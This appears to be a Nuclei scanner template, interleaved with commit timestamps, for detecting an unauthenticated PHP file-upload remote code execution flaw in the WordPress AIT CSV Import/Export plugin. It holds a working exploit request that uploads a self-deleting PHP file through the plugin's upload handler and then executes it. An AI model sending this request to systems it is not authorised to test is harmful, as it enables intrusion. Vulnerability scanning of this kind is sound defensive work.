2022-05-22 01:12:09 +00:00
id : ait-csv-import-export-rce
info :
name : WordPress AIT CSV Import Export - Unauthenticated Remote Code Execution
author : gy741
severity : critical
2022-05-23 08:34:27 +00:00
description : |
The AIT CSV Import/Export plugin <= 3.0.3 allows unauthenticated remote attackers to upload and execute arbitrary PHP code. The upload-handler does not require authentication, nor validates the uploaded content.
2022-05-22 01:12:09 +00:00
reference :
- https://wpscan.com/vulnerability/10471
2022-05-23 08:34:27 +00:00
- https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/http/wp_ait_csv_rce.rb
2022-05-22 01:12:09 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score : 9.8
cwe-id : CWE-434
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-10-14 11:27:55 +00:00
tags : wp-plugin,rce,fileupload,unauth,wpscan,msf,wordpress,ait-csv,wp,intrusive
2022-05-22 01:12:09 +00:00
2024-04-15 11:26:37 +00:00
variables :
string : "ait-csv-import-export-rce"
2023-04-27 04:28:59 +00:00
http :
2022-05-22 01:12:09 +00:00
- raw :
- |
POST /wp-content/plugins/ait-csv-import-export/admin/upload-handler.php HTTP/1.1
Host : {{Hostname}}
Accept : */*
Content-Type : multipart/form-data; boundary=------------------------ab360007dbae2de8
--------------------------ab360007dbae2de8
Content-Disposition : form-data; name="file"; filename="{{randstr}}.php"
Content-Type : application/octet-stream
2024-04-15 11:26:37 +00:00
sep=;<?php echo md5("{{string}}");unlink(__FILE__);?>
2022-05-22 01:12:09 +00:00
--------------------------ab360007dbae2de8--
- |
GET /wp-content/uploads/{{randstr}}.php HTTP/1.1
Host : {{Hostname}}
matchers-condition : and
matchers :
- type : word
2024-04-15 11:26:37 +00:00
part : body_2
2022-05-22 01:12:09 +00:00
words :
2024-04-15 11:26:37 +00:00
- '{{md5(string)}}'
2024-04-23 10:06:08 +00:00
# digest: 4a0a0047304502203dbe9ee0c251236f440cd8c6935333f6dc51bd895808da6870155c24df8c64b2022100b7821bd07973808a30f1871fc4551a454d614efd4f69739bbc1e53a87b4d2364:922c64590222798bb761d5b6d8e72950